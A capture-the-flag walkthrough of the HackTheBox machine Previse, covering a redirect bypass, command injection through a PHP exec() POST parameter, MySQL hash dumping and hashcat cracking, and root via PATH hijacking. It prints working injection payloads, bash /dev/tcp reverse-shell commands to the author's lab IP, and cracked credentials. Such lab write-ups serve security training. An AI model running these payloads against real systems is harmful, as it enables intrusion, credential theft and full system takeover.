Hi everyone!
Today’s post is on Previse, an easy HackTheBox Linux machine. This machine was released on 8 August 2021. In this machine, a URL redirect status 302 is exploited to leak the actual web page without logining in, exploiting unsanitized POST data run on the server’s PHP’s exec(), extracting user password from one-liner MySQL query to get hash and that MD5Crypt hash is cracked with Hashcat to obtain the user’s password, and finally, path hijacking is used for privilege escalation. Let’s get started!
Tools required
Service discovery
┌──(soulx㉿kali)-[~] └─$ IP=10.129.212.196 ┌──(soulx㉿kali)-[~] └─$ nmap -A -p1-9999 $IP Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-10 16:23 +08 Nmap scan report for 10.129.212.196 Host is up (0.25s latency). Not shown: 9997 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA) | 256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA) |_ 256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set |_http-server-header: Apache/2.4.29 (Ubuntu) | http-title: Previse Login |_Requested resource was login.php Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 369.28 seconds
NOTE: My machine’s IP address may be different from yours as I did this write-up when the machine is only available in the release arena.
We can see that SSH and a website are available. Let’s check out the website.
Outlook of the website
Fake main page

When we first try to access the website at http://10.129.212.196, I was redirected to the login page.
Bypass status 302 redirect
If we try to use Burp Suite to intercept the response from the server (you must enable this option on your Burp Suite’s proxy tab), we will see that we were given an actual page but were redirected to the login page due to status 302.

We can manually change the HTTP response status to “200 OK” so that we will be able to view the page!


Creating an account
If we check out the ACCOUNTS option in the navigation bar and go to the Create Account page, we will be directed to accounts.php
. This page will also respond with status 302. Hence we have to intercept the response and change the status to “200 OK”.

I created an account with the following credentials:
Username: soulx Password: soulx Confirm Password: soulx

Outlook after logging in
Head back to login.php
and login with our newly created account’s credentials. We will be directed to index.php
.

We can check out different pages from the navigation bar.


I tried downloading the log files but there was no useful information.

At files.php
, we are able to see the backup ZIP file that contains the files of the current website we are accessing. I downloaded the ZIP file.
Vulnerability discovery and reverse shell
Found exec() vulnerability in logs.php
As we downloaded the backup ZIP file already, we have to unzip it:
┌──(soulx㉿kali)-[~/…/CTF/HackTheBox/Machines/Previse] └─$ unzip siteBackup.zip -d backupsitefiles Archive: siteBackup.zip inflating: backupsitefiles/accounts.php inflating: backupsitefiles/config.php inflating: backupsitefiles/download.php inflating: backupsitefiles/file_logs.php inflating: backupsitefiles/files.php inflating: backupsitefiles/footer.php inflating: backupsitefiles/header.php inflating: backupsitefiles/index.php inflating: backupsitefiles/login.php inflating: backupsitefiles/logout.php inflating: backupsitefiles/logs.php inflating: backupsitefiles/nav.php inflating: backupsitefiles/status.php
While searching through the files, I discovered that logs.php
contains a dangerous function, exec()
where the argument is obtained from our client browser from the file_logs.php
page.
Source code of logs.php
:
<?php
session_start();
if (!isset($_SESSION['user'])) {
header('Location: login.php');
exit;
}
?>
<?php
if (!$_SERVER['REQUEST_METHOD'] == 'POST') {
header('Location: login.php');
exit;
}
/////////////////////////////////////////////////////////////////////////////////////
//I tried really hard to parse the log delims in PHP, but python was SO MUCH EASIER//
/////////////////////////////////////////////////////////////////////////////////////
$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
echo $output;
$filepath = "/var/www/out.log";
$filename = "out.log";
if(file_exists($filepath)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($filepath).'"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($filepath));
ob_clean(); // Discard data in the output buffer
flush(); // Flush system headers
readfile($filepath);
die();
} else {
http_response_code(404);
die();
}
?>
The vulnerability can be seen in line 19 of logs.php
where no data sanitization is done on the POST data.
Test our exploit
As we know we request to logs.php
is made from file_logs.php
, we can send a request from that page and intercept the request with Burp Suite and change the POST data to our exploit.

We need to add our exploit to delim
POST parameter. However, we need to test if our exploit is working. If we use command such as whoami
or id
, I am not sure why is it not working. The output may not be seen on the browser but is actually being executed on the server. Hence we can use cURL to test it.
Change the delim
parameter’s content to this:
delim=comma | curl 10.10.14.5:8000
Remember to URL-encode the parameter’s content and also run your HTTP server. You must also change the parameter’s content to your own IP address.
┌──(soulx㉿kali)-[~/…/CTF/HackTheBox/Machines/Previse] └─$ python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 10.129.212.196 - - [11/Aug/2021 12:15:13] "GET / HTTP/1.1" 200 -
We can see that the cURL request was indeed made from the server. Thus, it shoulds our exploit is able to work.
Obtaining a reverse shell
We are now ready to send a reverse shell to the server. Start your Netcat and listen to the port you want. I listened on port 1337.
Send another request to logs.php
but this time around sends a reverse shell command exploit. Remember to URL-encode it.
delim=comma | /bin/bash -c 'bash -i >& /dev/tcp/10.10.14.5/1337 0>&1'
Your Netcat should receive an incoming connection and give you a shell:
┌──(soulx㉿kali)-[~/…/CTF/HackTheBox/Machines/Previse] └─$ nc -lvnp 1337 listening on [any] 1337 ... connect to [10.10.14.5] from (UNKNOWN) [10.129.212.196] 54766 bash: cannot set terminal process group (1467): Inappropriate ioctl for device bash: no job control in this shell www-data@previse:/var/www/html$
Pivot to the user account and get the user flag
Checking user of interest
We can first look at the user(s) available on the server.
www-data@previse:/var/www/html$ cat /etc/passwd cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin syslog:x:102:106::/home/syslog:/usr/sbin/nologin messagebus:x:103:107::/nonexistent:/usr/sbin/nologin _apt:x:104:65534::/nonexistent:/usr/sbin/nologin lxd:x:105:65534::/var/lib/lxd/:/bin/false uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin pollinate:x:109:1::/var/cache/pollinate:/bin/false sshd:x:110:65534::/run/sshd:/usr/sbin/nologin m4lwhere:x:1000:1000:m4lwhere:/home/m4lwhere:/bin/bash mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
We are interested in m41where as it should have the user flag due to it having a /home
directory and starting UID of at least 1000.
Get password hash from MySQL
Remember the site backup files? We can obtain the MySQL credentials from config.php
.
Source code of config.php
:
<?php
function connectDB(){
$host = 'localhost';
$user = 'root';
$passwd = 'mySQL_p@ssw0rd!:)';
$db = 'previse';
$mycon = new mysqli($host, $user, $passwd, $db);
return $mycon;
}
?>
If we look at login.php, we will notice that user accounts are stored in accounts
table in line 30.
Source code of login.php
:
<?php
session_start();
if (isset($_SESSION['user'])) {
header('Location: index.php');
}
?>
<?php include( 'header.php' ); ?>
<title>Previse Login</title>
</head>
<body>
<div class="uk-container">
<div class="uk-container uk-position-relative">
<h1 class="uk-heading-large">Previse File Storage</h1>
<h2>Login</h2>
<p>
<?php
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
$username = filter_var($_POST['username'], FILTER_SANITIZE_STRING);
$password = $_POST['password'];
if (empty(trim($username))) {
echo '<div class="uk-alert-danger">Invalid Username or Password</div>';
} elseif (empty(trim($_POST['password']))) {
echo '<div class="uk-alert-danger">Invalid Username or Password</div>';
} else {
$db = connectDB();
if ($db === false) {
die("ERROR: Could not connect. " . $db->connect_error);
}
$sql = "SELECT * FROM accounts WHERE username = '{$username}';";
$result = $db->query($sql);
if ($result->num_rows != 1) {
echo '<div class="uk-alert-danger">Invalid Username or Password</div>';
$result->free();
$db->close();
} else {
$users = $result->fetch_assoc();
$passHash = $users['password'];
if (crypt($password, '$1$🧂llol$') == $passHash) {
$result->free();
$_SESSION['user'] = $users['username'];
$result = $db->query($sql);
if (!$result) {
echo 'Oops! Something went wrong, try again later!';
}
$db->close();
header('Location: index.php');
} else {
echo '<div class="uk-alert-danger">Invalid Username or Password</div>';
}
}
}
}
?></p>
<form action="login.php" method="post">
<div class="uk-margin uk-width-1-4@s">
<div class="uk-inline">
<span class="uk-form-icon" uk-icon="icon: user"></span>
<input type="text" name="username" class="uk-input" placeholder="Username">
</div>
</div>
<div class="uk-margin uk-width-1-4@s">
<div class="uk-inline">
<span class="uk-form-icon" uk-icon="icon: lock"></span>
<input type="password" name="password" class="uk-input" placeholder="Password" required>
</div>
</div>
<button class="uk-button uk-button-default" type="submit">LOG IN</button>
</form>
</div>
</div>
<?php include( 'footer.php' ); ?>
We can obtain the content using one-liner MySQL query:
www-data@previse:/var/www/html$ mysql -u root -p --password='mySQL_p@ssw0rd!:)' -s -r -e "SELECT * FROM previse.accounts"
mysql: [Warning] Using a password on the command line interface can be insecure.
1 m4lwhere $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. 2021-05-27 18:18:36
2 soulx $1$🧂llol$CSgpQlHHQ1IkXJxe5Iqwa/ 2021-08-11 02:54:47
We managed to obtain m41where’s password hash.
Cracking MD5Crypt password hash
If we look at the source code of login.php at line 39, we can see it uses crypt() with a salt starting with “$y$”:
if (crypt($password, '$1$🧂llol$') == $passHash) {
Looking at PHP’s crypt()
‘s documentation here, we can see using crypt()
with “$y$” will result in the generation of the CRYPT_MD5 hash.
Looking at Hashcat‘s documentation here, we will know to crack the hash, we need -m 500
flag. I placed the hash inside pwhash.hash
and used rockyou.txt
wordlist.
Let’s crack the hash!
┌──(soulx㉿kali)-[~/…/CTF/HackTheBox/Machines/Previse] └─$ hashcat -m 500 pwhash.hash /usr/share/wordlists/rockyou.txt hashcat (v6.1.1) starting... OpenCL API (OpenCL 1.2 pocl 1.6, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project] ============================================================================================================================= * Device #1: pthread-Intel(R) Core(TM) i7-8750H CPU @ 2.20GHz, 3183/3247 MB (1024 MB allocatable), 2MCU Minimum password length supported by kernel: 0 Maximum password length supported by kernel: 256 Hashes: 1 digests; 1 unique digests, 1 unique salts Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates Rules: 1 Applicable optimizers applied: * Zero-Byte * Single-Hash * Single-Salt ATTENTION! Pure (unoptimized) backend kernels selected. Using pure kernels enables cracking longer passwords but for the price of drastically reduced performance. If you want to switch to optimized backend kernels, append -O to your commandline. See the above message to find out about the exact limits. Watchdog: Hardware monitoring interface not found on your system. Watchdog: Temperature abort trigger disabled. Host memory required for this attack: 64 MB Dictionary cache hit: * Filename..: /usr/share/wordlists/rockyou.txt * Passwords.: 14344385 * Bytes.....: 139921507 * Keyspace..: 14344385 $1$🧂llol$DQpmdvnb7EeuO6UaqRItf.:ilovecody112235! Session..........: hashcat Status...........: Cracked Hash.Name........: md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5) Hash.Target......: $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. Time.Started.....: Wed Aug 11 13:55:29 2021 (16 mins, 53 secs) Time.Estimated...: Wed Aug 11 14:12:22 2021 (0 secs) Guess.Base.......: File (/usr/share/wordlists/rockyou.txt) Guess.Queue......: 1/1 (100.00%) Speed.#1.........: 8352 H/s (3.66ms) @ Accel:64 Loops:250 Thr:1 Vec:8 Recovered........: 1/1 (100.00%) Digests Progress.........: 7413376/14344385 (51.68%) Rejected.........: 0/7413376 (0.00%) Restore.Point....: 7413248/14344385 (51.68%) Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:750-1000 Candidates.#1....: ilovecody98 -> ilovecloandlivey
SSH and get the user flag
Let’s exit the previous reverse shell and SSH into the server with the credentials obtained!
┌──(soulx㉿kali)-[~/…/CTF/HackTheBox/Machines/Previse] └─$ ssh m4lwhere@$IP m4lwhere@10.129.212.196's password: ilovecody112235! m4lwhere@previse:~$ m4lwhere@previse:~$ ls user.txt m4lwhere@previse:~$ cat user.txt 98a****************************
Privilege escalation and get the root flag
Path hijacking vulnerability
As usual, let’s start with sudo -l
command to see what root access our account has.
m4lwhere@previse:~$ sudo -l [sudo] password for m4lwhere: ilovecody112235! User m4lwhere may run the following commands on previse: (root) /opt/scripts/access_backup.sh
Let’s check out access_backup.sh
‘s source code.
m4lwhere@previse:~$ cat /opt/scripts/access_backup.sh #!/bin/bash # We always make sure to store logs, we take security SERIOUSLY here # I know I shouldnt run this as root but I cant figure it out programmatically on my account # This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz
We can see that the script will execute gzip
command/file. However, the script is using it without stating its absolute path. As such, we can use path hijacking to let it run our malicious version of gzip file by modifying the $PATH environment variable.
Crafting gzip malicious file
Create a new bash script in the /tmp
folder:
m4lwhere@previse:~$ nano /tmp/gzip
Input the following content. Remember to change to your own IP address and the port you want your Netcat to listen on.
#!/bin/bash bash -i >& /dev/tcp/10.10.14.5/1337 0>&1
Save it and change the permission of our malicious gzip file so that it can be executed.
m4lwhere@previse:~$ chmod 777 /tmp/gzip
We can now add /tmp
directory to the start of $PATH environmental variable so that our malicious gzip file will be found first instead of finding the legitimate gzip.
m4lwhere@previse:~$ export PATH="/tmp:$PATH"
Get a root reverse shell
Remember to run Netcat before you execute the access_log.sh
script.
nc -lvnp 1337
You may now run the script with sudo.
m4lwhere@previse:~$ sudo /opt/scripts/access_backup.sh [sudo] password for m4lwhere: ilovecody112235!
Your Netcat should now have a root reverse shell.
┌──(soulx㉿kali)-[~/…/CTF/HackTheBox/Machines/Previse] └─$ nc -lvnp 1337 listening on [any] 1337 ... connect to [10.10.14.5] from (UNKNOWN) [10.129.215.10] 33588 root@previse:~#
Getting the root flag
root@previse:~# id id uid=0(root) gid=0(root) groups=0(root) root@previse:~# cd /root cd /root root@previse:/root# ls ls root.txt root@previse:/root# cat root.txt cat root.txt c15******************************
I hope these tabs have been helpful to you. Feel free to leave any comments below. You may also send me some tips if you like my work and want to see more of such content. Funds will mostly be used for my boba milk tea addiction. The link is here. 🙂